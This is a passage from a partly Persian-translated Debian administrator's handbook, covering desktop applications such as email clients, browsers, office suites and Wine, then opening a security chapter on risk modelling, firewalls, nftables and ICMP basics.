Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed wih the cinnamon-desktop-environment and mate-desktop-environment metapackages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

13.4. ایمیل

13.4.1. Evolution

جامعه کاربری بسته‌های محبوب

Installing the popularity-contest package enables participation in an automated survey that informs the Debian project about the most popular packages. A script is run weekly by cron which sends an anonymized list of the installed packages (by HTTP or email) and the latest access date for the files they contain. This allows the Debian maintainers to know which packages are most frequently installed, and of these, how frequently they are actually used.

این اطلاعات کمک بزرگی برای پروژه دبیان است. برای شناسایی بسته‌هایی که باید در اولین دیسک نصب دبیان قرار گیرند بکار می‌رود. داده‌های نصب نیز عامل مهمی در اتخاد تصمیم درباره حذف بسته با تعداد کاربران کم بازی می‌کند. صمیمانه توصیه می‌کنیم که با نصب بسته popularity-contest در این مشارکت عمومی شرکت نمایید.

The collected data are made public every day.

→ https://popcon.debian.org/

These statistics can also help users to choose between two packages that seem otherwise equivalent. Choosing the more popular package is probably a safer choice.

Evolution is the GNOME email client and can be installed with apt install evolution. It is more than a simple email client: it also provides a calendar, an address book, a task list, and a memo (free-form note) application. Its email component includes a powerful message indexing system, and allows for the creation of virtual folders based on search queries on all archived messages. In other words, all messages are stored the same way but displayed in a folder-based organization, each folder containing messages that match a set of filtering criteria.

شكل 13.4. نرم‌افزار ایمیل Evolution

An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews[5].

13.4.2. KMail

The KDE email software can be installed with apt install kmail. KMail only handles email, but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes features such as address books, a calendar component, and so on. KMail has all the features one would expect from an excellent email client.

شكل 13.5. نرم‌افزار ایمیل KMail

13.4.3. Thunderbird

The thunderbird package provides the email client from the Mozilla software suite. Various localization sets are available in thunderbird-l10n-* packages; the enigmail extension handles message encrypting and signing, but it is not available in all languages.

شكل 13.6. The Thunderbird email software

[5] The evolution-ews package is not part of Debian Buster. It was removed during the release process due to a security issue. But at the time of writing a recent version is available as backport (see قسمت 6.1.2.4, “بروزرسانی‌های پایدار قدیمی” ).

13.5. مرورگرهای وب

Epiphany، مرورگر وب موجود در بسته GNOME، از موتور نمایش WebKit که توسط اپل برای مرورگر سافاری خود توسعه یافته است استفاده می‌کند. بسته مربوط به آن برابر است با epiphany-browser.

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML.

Users not satisfied by either of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

شكل 13.7. The Firefox web browser

VOCABULARY Firefox ESR

Mozilla has a very fast-paced release cycle for Firefox. New releases are published every six to eight weeks and only the latest version is supported for security issues. This doesn't suit all kind of users so, every 10 cycles, they are promoting one of their release to an Extended Support Release (ESR) which will get security updates (and no functional changes) during the next 10 cycles (which covers a bit more than a year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is used by default since it is the only version suitable for Debian Stable with its long support period (and even there Debian has to upgrade from one ESR release to the next multiple times during a Debian Stable lifecycle). The regular Firefox is available in the firefox package but it is only available to users of Debian Unstable.

فرهنگ Iceweasel، Firefox و دیگران

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel package contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox had to use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian could not distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer choose to use a different name.

بنا به دلایل مشابه، نرم‌افزار ایمیل Thunderbird™ نیز به Icedove و به شیوه‌ای مشابه تغییر نام داده شد.

Nowadays, the logo and icons are distributed under a free software license and Mozilla recognized that the changes made by the Debian project are respecting their trademark license so Debian is again able to ship Mozilla's applications under their official name.

فرهنگ موزیلا

Netscape Navigator was the standard browser when the web started reaching the masses, but lost ground when Microsoft bundled Internet Explorer with Windows and signed contracts with computer manufacturers which forbade them from pre-installing Netscape Navigator. Faced with this failure, Netscape (the company) decided to “free” its source code, by releasing it under a free license, to give it a second life. This was the beginning of the Mozilla project. After many years of development, the results are more than satisfying: the Mozilla project brought forth an HTML rendering engine (called Gecko) that is among the most standard-compliant. This rendering engine is in particular used by the Mozilla Firefox browser, which is one of the major browsers.

Last but not least, Debian also contains the Chromium web browser (available in the chromium package). This browser is developed by Google and has become the most popular browser in just a few years. Its clear purpose is to make web services more attractive, both by optimizing the browser for performance and by increasing the user's security. The free code that powers Chromium is also used by its proprietary version called Google Chrome™.

13.6. توسعه

13.6.1. ابزارهای +GTK در GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library though its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Tools for Qt

The equivalent applications for Qt applications are KDevelop by KDE (in the kdevelop package) for the development environment, and Qt Designer (in the qttools5-dev-tools package) for the design of graphical interfaces for Qt applications.

KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP and different build systems.

13.7. کار مشارکتی

13.7.1. کا در گروه‌ها: groupware

Groupware tools tend to be relatively complex to maintain because they aggregate multiple tools and have requirements that are not always easy to reconcile in the context of an integrated distribution. Thus there is a long list of groupware packages that were once available in Debian but have been dropped for lack of maintainers or incompatibility with other (newer) software in Debian. This has been the case with PHPGroupware, eGroupware, and Kolab.

→ https://www.egroupware.org/

→ https://www.kolab.org/

All is not lost though. Many of the features traditionally provided by “groupware” software are increasingly integrated into “standard” software. This is reducing the requirement for specific, specialized groupware software. On the other hand, this usually requires a specific server. Citadel (in the citadel-suite package), Sogo (in the sogo package) and Kopano (in the kopano-core package) are alternatives that are available in Debian Buster.

13.7.2. کار مشارکتی با استفاده از FusionForge

FusionForge یک ابزار توسعه مشارکتی است که ریشه آن در SourceForge، یک سرویس میزبانی برای پروژه‌های نرم‌افزار آزاد، قرار دارد. از مدل توسعه استاندارد نرم‌افزار آزاد برای این ابزار استفاده شده است. پس از اینکه کد SourceForge به صورت انحصاری درآمد، این نرم‌افزار به پیشرفت خود ادامه داد. توسعه‌دهندگان اولیه آن، VA Software، تصمیم گرفتند که نسخه آزاد دیگری منتشر نکنند. همین اتفاق در مورد اولین فورک (GForge) نیز روی داد. از آنجا که افراد و سازمان‌های گوناگونی در توسعه آن مشارکت داشته‌اند، FusionForge فعلی شامل گزینه‌هایی است که رویکردی سنتی‌تر در قبال توسعه را پیگیری می‌کند، همین طور پروژه‌هایی که به طور مستقیم با توسعه نرم‌افزار همخوانی ندارند.

FusionForge می‌تواند به عنوان مجموعه ابزاری به منظور مدیریت، رهگیری و پیگیری پروژه‌ها در نظر گرفته شود. این ابزارها تقریبا در سه خانواده دسته‌بندی می‌شوند:

communication: web forums, mailing-list manager, and announcement system allowing a project to publish news

tracking: tools to track project progress and schedule tasks, to track bugs, feature requests, or any other kind of “ticket”, and to run surveys

ابزار اشتراک‌گذاری: مدیر مستندات به منظور فراهم آوردن مکانی واحد برای مستندات مربوط به یک پروژه، مدیر انتشار فایل عمومی، وبسایت اختصاصی مربوط به هر پروژه.

Since FusionForge largely targets development projects, it also integrates many tools such as CVS, Subversion, Git, Bazaar, Darcs, Mercurial and Arch for source control management (also called “configuration management” or “version control”). These programs keep a history of all the revisions of all tracked files (often source code files), with all the changes they go through, and they can merge modifications when several developers work simultaneously on the same part of a project.

Most of these tools can be accessed or even managed through a web interface, with a fine-grained permission system, and email notifications for some events.

FusionForge is not part of Debian Stable. It is a large software stack that is hard to maintain properly and benefits only few users who are usually expert enough to be able to backport the package from Debian Unstable.

ALTERNATIVE GitLab

FusionForge has been used to power the alioth.debian.org platform used by the Debian project and its developers for collaborative package management and development for almost a decade. Due to some limitations it has been replaced and shut down in 2018 by a new service powered by GitLab. See sidebar TOOL GitLab, Git repository hosting and much more.

13.8. مجموعه‌های اداری

Office software has long been seen as lacking in the free software world. Users require replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when Sun released the StarOffice code under a free license as OpenOffice, a project which later gave birth to LibreOffice, which is available on Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice), and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For instance, the Gnumeric spreadsheet is better than OpenOffice.org/LibreOffice in some domains, notably the precision of its calculations. On the word processing front, the LibreOffice suite still leads the way.

Another important feature for users is the ability to import Microsoft Office documents. Even though all office suites have this feature, only the ones in OpenOffice.org and LibreOffice are functional enough for daily use.

THE BROADER VIEW LibreOffice replaces OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to foster the project's development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. This office suite is now known as LibreOffice, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project. This project is not currently available in Debian and is rather moribund when compared to LibreOffice.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively. Although the gnome-office package was previously used to install a collection of office tools such as AbiWord and Gnumeric, this package is no longer part of Debian, with the individual packages now standing on their own.

Language-specific packs for LibreOffice are distributed in separate packages, most notably libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*, hunspell-*, hyphen-* and mythes-*.

13.9. شبیه‌سازی ویندوز: Wine

برخلاف تلاش‌های اشاره شده در قسمت قبل، هنوز ابزارهای متعددی هستند که هیچ جایگزین معادلی در لینوکس ندارند یا برای آن‌ها نسخه‌ اصلی کاملا مورد نیاز است. در اینجاست که سیستم‌های شبیه‌ساز ویندوز بکار می‌آیند. شناخته‌شده‌ترین این سیستم‌ها Wine نام دارد.

→ https://www.winehq.org/

مکمل CrossOver Linux

CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broadens the available set of emulated features to a point at which Microsoft Office becomes fully usable. Some of the enhancements are periodically merged into Wine.

→ https://www.codeweavers.com/products/

با این حال، باید در نظر داشت که این یک راهکار احتمالی در میان سایر رویکردها است و اینکه مشکل می‌تواند با استفاده از یک ماشین مجازی یا VNC نیز حل شود؛ هر دوی این راه حل‌ها در قسمت‌های کناری جایگزین ماشین‌های مجازی و جایگزین Windows Terminal Server یا VNC همراه با جزئیات آورده شده‌اند.

بیایید با یک یادآوری شروع کنیم: شبیه‌سازی امکان اجرای یک برنامه (که برای سیستم هدف طراحی شده است) را روی سیستم میزبان می‌دهد. نرم‌افزار شبیه‌ساز با استفاده از سیستم میزبان، جایی که برنامه در آن اجرا می‌شود، سعی می‌کند تا ویژگی‌های مورد نیاز سیستم هدف را تقلید کند.

اکنون بیایید بسته‌های مورد نیاز را نصب کنیم (ttf-mscorefonts-installer در قسمت contrib قرار دارد):

# apt install wine ttf-mscorefonts-installer

در یک سیستم ۶۴ بیت (amd64)، اگر برنامه‌های ویندوز شما به صورت ۳۲ بیت باشند، آنگاه باید قابلیت multi-arch را به منظور نصب wine32 از معماری i386 فعال کنید ( قسمت 5.4.5, “پشتیبانی از چند-معماری” را مشاهده کنید).

کاربر سپس باید با اجرای winecfg پیکربندی نگاشت مکان‌های (دبیان) مشخص به درایو‌های (ویندوز) موجود را انجام دهد. winecfg دارای پیشفرض‌های معقولی است که می‌تواند چندین درایو را به صورت خودکار تشخیص دهد؛ به یاد داشته باشید که در صورت راه‌اندازی-دوگانه سیستم، نباید درایو C: را به جایی که پارتیشن ویندوز در دبیان متصل شده است نگاشت کنید چرا که Wine ممکن است برخی داده‌های موجود آن پارتیشن را بازنویسی کند که اینکار به غیر قابل استفاده شدن ویندوز می‌انجامد. سایر تنظیمات می‌توانند مقدار پیشفرض خود را داشته باشند. برای اجرای برنامه‌های ویندوز، ابتدا نیاز دارید که نصب‌کننده (ویندوزی) آن‌ها را از طریق Wine و با استفاده از دستوری مانند wine .../setup.exe فراخوانی کنید؛ زمانی که برنامه نصب شد با استفاده از wine .../program.exe می‌توانید آن را اجرا کنید. مکان دقیق فایل program.exe بستگی به موقعیت نگاشت درایو C: دارد؛ با این حال، در اکثر موارد، اجرای wine program به سادگی کار می‌کند چرا که برنامه در جایی نصب می‌شود که Wine به دنبال آن می‌گردد.

نکته بررسی نقص‌های winecfg

در برخی موارد، winecfg (که تنها یک لایه خارجی است) ممکن است به درستی کار نکند. به عنوان یک راهکار احتمالی، امکان اجرای دستور اصلی آن به صورت مستقیم وجود دارد: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so یا wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

به یاد داشته باشید که نباید روی Wine (یا راهکارهای مشابه) بدون آزمون واقعی نرم‌افزار حساب باز کنید: تنها یک آزمون واقع‌گرا مشخص می‌کند آیا شبیه‌سازی کارآمد است یا خیر.

جایگزین ماشین‌های مجازی

گزینه جایگزین برای شبیه‌سازی سیستم عامل مایکروسافت در حقیقت اجرای آن در یک ماشین مجازی است که محیط سخت‌افزاری کامل را شبیه‌سازی می‌کند. این قابلیت برای اجرای هر سیستم عاملی وجود دارد. فصل 12, مدیریت پیشرفته به توضیح چندین سیستم مجازی‌سازی از جمله Xen و KVM همراه با QEMU، VMWare و Bochs می‌پردازد.

جایگزین Windows Terminal Server یا VNC

یک راهکار احتمالی دیگر اجرای برنامه‌های قدیمی ویندوز از راه‌دور روی یک سرور مرکزی با استفاده از Windows Terminal Server و دسترسی به برنامه‌ها از طریق ماشین‌های لینوکس با ابزار rdesktop است. این یک برنامه لینوکس از پروتکل RDP یا Remote Desktop Protocol است که Windows NT/2000 Terminal Server از آن برای نمایش میزکارهای گرافیکی روی ماشین‌های راه‌دور استفاده می‌کند.

نرم‌افزار VNC نیز قابلیت‌های مشابهی فراهم می‌کند، با این تفاوت که با سیستم عامل‌های زیادی سازگار است. برنامه‌ها و سرورهای VNC لینوکس در قسمت 9.2, “دسترسی از راه‌دور” توضیح داده شده‌اند.

13.10. نرم‌افزار ارتباط بلادرنگ

Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in قسمت 11.8, “سرویس‌های ارتباطی بلادرنگ” . In SIP (Session Initiation Protocol) terminology, a client application or device is also referred to as a user agent.

هر برنامه کاربردی عملکردهای متفاوتی دارد. برخی برنامه‌ها برای گفتگو و برخی نیز برای تماس تصویری مناسب‌تر هستند. ممکن است لازم باشد چندین برنامه را پس از آزمون‌های مختلف به منظور دستیابی به بهترین رویکرد انتخاب کنید. کاربر ممکن است تصمیم بگیرد که به چندین برنامه مختلف نیاز دارد. برای مثال، یک برنامه XMPP به منظور پیام‌رسانی با مشتریان و یک برنامه IRC به منظور همکاری متقابل با برخی جامعه‌های کاربری آنلاین.

برای حداکثر کردن قابلیت کاربران به منظور ارتباط با دنیای بیرونی، توصیه می‌شود پیکربندی هر دو برنامه SIP و XMPP یا برنامه‌ای که از این دو پروتکل استفاده می‌کند را انتخاب کنید.

The default GNOME desktop suggests the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi and Jami (formerly known as Ring).

Some of these applications can also interact with mobile users using apps such as Lumicall on Android.

→ https://lumicall.org

راهنمای شروع سریع با RTC دارای فصل کاملی متناسب با نرم‌افزار کاربردی است.

→ http://rtcquickstart.org/guide/multi/useragents.html

نکته به برنامه‌هایی که از ICE و TURN پشتیبانی می‌کنند توجه کنید

برخی برنامه‌های RTC هنگام ارسال صوت و تصویر از طریق فایروال یا شبکه‌های NAT مشکلات جدی دارند. کاربران ممکن است تماس‌های بی‌پاسخ (زنگ خوردن گوشی اما نشنیدن صدای مخاطب) دریافت کنند یا ممکن است نتوانند در کل تماس بگیرند.

پروتکل‌های ICE و TURN به منظور غلبه بر این مشکلات توسعه یافته‌اند. راه‌اندازی یک سرور TURN همراه با نشانی‌های عمومی IP در هر سایت با استفاده از برنامه کاربردی که از ICE و TURN پشتیبانی می‌کند، بهترین تجربه کاربری را در پی خواهد داشت.

اگر از برنامه کاربردی تنها به منظور پیام‌رسانی درجا استفاده می‌شود، نیازی به پشتیبانی از ICE و TURN وجود ندارد.

توسعه‌دهندگان دبیان یک سرویس SIP همگانی را در rtc.debian.org راه‌اندازی کرده‌اند. جامعه کاربری شامل یک ویکی همراه با مستندات لازم درباره برپایی برنامه‌های کاربردی مختلف در بسته‌های دبیان می‌باشد. مقالات و تصاویر این ویکی یک منبع کاربردی برای افرادی است که می‌خواهند چنین سرویس مشابهی را روی دامنه خود راه‌اندازی کنند.

→ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

جایگزین Internet Relay Chat

علاوه بر SIP و XMPP از IRC نیز می‌توان استفاده کرد. IRC بیشتر حول محور کانال می‌گردد که نام آن با علامت # شروع می‌شود. هر کانال به یک موضوع خاص اختصاص دارد که هر تعداد کاربر می‌تواند به آن بپیوندد تا درباره موضوع بحث و گفتگو کنند (اما در صورت نیاز کاربران می‌توانند مکالمات انفرادی داشته باشند). پروتکل IRC قدیمی‌تر است و امکان رمزنگاری منفرد برای پیام‌ها را نمی‌دهد؛ اما امکان رمزنگاری کانال ارتباطی بین کاربران و سرور IRC با استفاده از این پروتکل درون SSL وجود دارد.

برنامه‌های کاربردی IRC اندکی پیشرفته‌تر هستند و معمولا دارای ویژگی‌هایی می‌باشند که محدودیت اجرایی آن‌ها در یک محیط اداری/تجاری بالا است. برای نمونه، “اپراتورهای” کانال کاربرانی هستند که قابلیت بیرون انداختن سایر کاربران یا حتی محروم کردن کلی آنان از کانال را در صورت خارج شدن از موضوع گفتگو دارا می‌باشند.

Since the IRC protocol is very old, many clients are available to cater for many user groups; examples include XChat, and Smuxi (graphical clients based on GTK+), Irssi (text mode), Circe (integrated to Emacs), and so on.

فصل 14. امنیت

یک سیستم اطلاعاتی با توجه به محیط خود می‌تواند سطوح مختلفی از اهمیت را دارا باشد. در برخی موارد، این شرایط برای بقای شرکت حیاتی است. بنابراین باید نسبت به انواع مختلف خطر محافظت گردد. فرآیندی که برای ارزیابی این خطرات، تعریف و پیاده‌سازی لایه حفاظتی انجام می‌شود “فرآیند امنیت” نام دارد.

14.1. تعریف خط‌مشی امنیتی

احتیاط حوزه این فصل

امنیت یک موضوع بزرگ و بسیار حساس است، پس نمی‌توان ادعا کرد که تمام موارد مربوط به آن را طی یک فصل به صورت بیان نمود. ما تنها به ترسیم برخی نقاط مهم و معرفی چند ابزار و روش مشخص در حوزه امنیت می‌پردازیم. برای مطاعه بیشتر، کتاب‌های کاملی در این حوزه نگارش شده‌اند. یک نقطه آغاز مناسب کتاب امنیت سرور لینوکس نوشته مایکل باور (انتشارات O'Reilly) است.

واژه “امنیت” خود مفاهیم، ابزارها و فرآیندهای گسترده‌ای را شامل می‌شود که هیچکدام به صورت کامل معنای آن را نمی‌رسانند. انتخاب از میان ‌آن‌ها مستلزم ایده‌ای دقیق راجع به اهداف مورد نظر شماست. ایمن‌سازی یک سیستم با پاسخ به چند پرسش اولیه آغاز می‌شود. اینکه از ابتدا با پیاده‌سازی عجله‌ای چند ابزار تمرکز خود را روی یک حوزه معطوف کنیم، ما را در جنبه‌های اشتباه از امنیت قرار می‌دهد.

یکی از اولین کارهایی که باید انجام داد تشخیص هدف است. رویکرد خوبی که می‌تواند در این تشخیص به ما یاری رساند با پرسش‌های زیر آغاز می‌شود:

از چه چیزی می‌خواهیم محافظت کنیم؟ خط‌مشی امنیت نسبت به اینکه قصد محافظت از رایانه یا داده را داریم متفاوت خواهد بود. در مورد دوم، همچنین باید بدانیم از کدام نوع داده می‌خواهیم محافظت کنیم.

از روی دادن چه اتفاقی می‌خواهیم پیشگیری کنیم؟ آیا اطلاعات محرمانه نشت یافته است؟ داده‌ها به صورت تصادفی از بین رفته‌اند؟ سود تجاری با مختل شدن سرویس از بین رفته است؟

همچنین، قصد محافظت مقابل چه کسانی را داریم؟ معیارهای امنیتی برای مقابله با اشتباه یک کاربر عادی در مقایسه با یک گروه مهاجم بسیار متفاوت خواهد بود.

عبارت “خطر” به طور معمول در مورد این سه عامل ارجاع داده می‌شود: از چه چیز محافظت شود، از روی دادن چه اتفاقی می‌خواهیم پیشگیری کنیم و قصد محافظت مقابل چه کسانی را داریم. مدل‌سازی خطر نیازمند پاسخ به این سه پرسش است. از این مدل خطر، یک خط‌مشی امنیتی می‌تواند ایجاد گردد که این خط‌مشی می‌تواند با اقدامات مستحکم پیاده‌سازی شود.

یادداشت پرسش‌گری به صورت مداوم

بروس شنیر، یک متخصص جهانی در حوزه امنیت (نه تنها امنیت رایانه) تلاش دارد تا با یکی از افسانه‌های امنیت با این شعار مقابله کند: “امنیت یک فرآیند است، نه یک محصول”. دارایی‌هایی که قصد محافظت از آن‌ها را داریم در گذر زمان تغییر می‌کنند، به همین ترتیب تهدیدات و ابزارهایی که برای مهاجمین احتمالی موجود هستند. حتی اگر یک خط‌مشی امنیتی از ابتدا به صورت کامل طراحی و پیاده‌سازی شده باشد، نباید به کارایی آن در آینده اعتماد کرد. عامل خطر پیشرفت می‌کند، پس پاسخ مناسب به این عامل نیز باید پیشرفت داشته باشد.

محدودیت‌های اضافی نیز در این مورد باید به حساب آیند، چرا که می‌توانند محدوده خط‌مشی موجود را کوچک سازند. برای ایمن‌سازی یک سیستم تا کجا پیش خواهیم رفت؟ این پرسش تاثیر اساسی روی خط‌مشی قابل پیاده‌سازی می‌گذارد. پاسخ در اغلب موارد به صورت هزینه‌های مالی تعریف می‌شود، اما سایر عناصر نیز باید در آن گنجانده شوند، از جمله میزان ناراحتی که بر کاربران سیستم تحمیل می‌شود یا کاهش عملکرد کلی.

زمانی که مدل‌سازی خطر صورت گرفت، می‌توان راجع به طراحی یک خط‌مشی امنیتی حقیقی فکر کرد.

یادداشت خط‌مشی‌های مفرط

مواردی وجود دارد که در آن‌ها انتخاب اقدامات لازم برای ایمن‌سازی سیستم بسیار ساده است.

برای نمونه، اگر سیستمی که قصد محافظت از آن را داریم تنها شامل یک رایانه دست-دوم باشد، که کاربرد آن افزودن چند عدد در انتهای روز است، تصمیم بر اینکه کار خاصی درباره محافظت از آن انجام ندهیم بسیار عاقلانه است. ارزش ذاتی این سیستم پایین است. ارزش داده نیز صفر است چرا که در این رایانه ذخیره‌سازی نمی‌شود. یک مهاجم احتمالی که به این “سیستم” نفوذ کند تنها با یک ماشین حساب بزرگ مواجه خواهد شد. هزینه ایمن‌سازی چنین سیستمی در مقایسه با هزینه نفوذ به آن بیشتر خواهد بود.

از طرف دیگر، شاید بخواهیم از محرمانگی داده‌های حساس به جامع‌ترین روش ممکن محافظت کنیم. در این مورد، یک پاسخ مناسب می‌تواند از بین بردن تمام این داده‌ها باشد (حذف فایل‌ها به شیوه‌ای ایمن، پاکسازی هارد دیسک‌ها در سطح بیت، قرار دادن آن‌ها در اسید و از این قبیل). اگر نیازمندی دیگری در رابطه با ذخیره‌سازی داده برای نیاز آینده (با اینکه الزامی در موجود بودن آن نیست) باشد و اگر هزینه هنوز عامل مهمی نیست، پس نقطه شروع می‌تواند ذخیره‌سازی این داده‌ها روی نوارهای ایریدیوم-پلاتینیوم محافظت شده در سنگرهای ضد-بمب موجود در چندین کوهستان جهان است، که هر کدام (البته) کاملا محرمانه بوده و توسط ارتش‌های جداگانه محافظت می‌شوند...

Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.

در اکثر موارد، سیستم اطلاعاتی می‌تواند به زیر مجموعه‌های یکپارچه و اغلب مستقل تقسیم شود. هر زیر مجموعه نیازمندی‌ها و محدودیت‌های خود را خواهد داشت که ارزیابی خطر و طراحی خط‌مشی سیاسی به صورت جداگانه برای هر کدام باید محاسبه گردد. یک قاعده خود که باید مد نظر قرار دهیم این است که درک یک محیط کوچک و خوش-تعریف نسبت به یک جنگل بزرگ و طولانی آسان‌تر است. سازماندهی شبکه نیز باید به همین صورت طراحی گردد: خدمات حساس باید روی تعداد کمی از ماشین‌ها قرار داشته باشند و این ماشین‌ها تنها باید از حداقل تعداد نقاط ممکن قابل دسترس باشند؛ ایمن‌سازی این نقاط نسبت به ایمن‌سازی تمام ماشین‌های حساس در مقابل دنیای خارج راحت‌تر است. در این نقطه است که کاربردپذیری فیلترینگ شبکه (که شامل فایروال‌ها می‌شود) مشخص می‌شود. این فیلترینگ می‌تواند با استفاده از یک سخت‌افزار اختصاصی انجام شود، اما یک راهکار ساده‌تر و موثرتر استفاده از نرم‌افزار فایروال از جمله نسخه ادغام شده در کرنل لینوکس است.

14.2. فایروال یا فیلترینگ بسته

بازگشت به مقدمات فایروال

یک فایروال تجهیزات رایانه‌ای به صورت سخت‌افزار یا نرم‌افزار است که بسته‌های دریافتی یا ارسالی شبکه (از و یا به شبکه محلی) را مرتب‌سازی کرده و تنها به ماشین‌هایی اجازه دسترسی می‌دهد که شرایط از پیش تعریف شده را داشته باشند.

فایروال یک دروازه فیلترینگ شبکه است که تنها برای بسته‌های ارسالی از میان آن کاربرد دارد. بنابراین، در صورتی که عبور از فایروال تنها مسیر موجود برای این بسته‌ها باشد موثر خواهد بود.

مورد ویژه فایروال محلی

یک فایروال می‌تواند به یک ماشین بخصوص محدود شود (در مقایسه با یک شبکه کامل)، که در این صورت نقش آن فیلتر یا محدودکردن دسترسی به برخی سرویس‌ها است، یا احتمالا پیشگیری از برقراری ارتباط توسط نرم‌افزارهایی که ممکن است یک کاربر، آگاهانه یا بدون اطلاع، نصب کرده باشد.

The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Debian Buster uses the nftables framework by default.

To enable a default firewall in Debian execute:

# apt install -y nftables Reading package lists... Done ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables Behavior

As the kernel is processing a network packet it pauses and allows us to inspect the packet and decide what to do with that package. For example, we might want to drop or discard certain incoming packages, modify other packages in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.

CULTURE The OSI model

The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

This model was defined in the standard ISO/EIC 7498. The following seven layers are described:

Physical: transmission and reception of raw bit streams over a physical medium

Data Link: reliable transmission of data frames between two nodes connected by a physical layer

Network: structuring and managing a multi-node network, including addressing, routing and traffic control

Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing

Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes

Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption

Application: High-level APIs, including resource sharing, remote file access.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/Osi_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack, they are registered into the Netfilter hooks, ie. these chains see packets flowing through the TCP/IP stack. On the other hand, and a regular chain is not attached to any hook, so they do not see any traffic, but it may be used as a jump target for better organization.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

بازگشت به مقدمات ICMP

ICMP یا Internet Control Message Protocol پروتکلی است که برای انتقال اطلاعات مکمل ارتباطی استفاده می‌شود. این پروتکل امکان آزمون برقراری شبکه را با استفاده از دستور ping صادر می‌کند (که در آن یک پیام ICMP Echo Request فرستاده می‌شود و گیرنده باید با یک پیام ICMP Echo Reply پاسخ دهد). هنگام رد بسته توسط فایروال، که overflow در حافظه دریافتی را شامل می‌شود، یک مسیر بهتر برای بسته‌های بعدی هنگام ارتباط پیشنهاد می‌کند. این پروتکل توسط چندین سند RFC تعریف شده است؛ اسناد اولیه RFC777 و RFC792 کامل شده و توسعه یافته‌اند.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

برای اشاره، بافر دریافتی یک حافظه کوچک برای ذخیره‌سازی داده است که از زمان رسیدن به شبکه تا پردازش توسط کرنل استفاده می‌شود. اگر این منطقه پر باشد، داده جدید نمی‌تواند دریافت شود و ICMP مشکل را مشخص می‌کند تا فرستنده‌ها سرعت انتقال داده را کاهش دهند (که پس از گذشت زمان به نرخ متعادل خود می‌رسد).

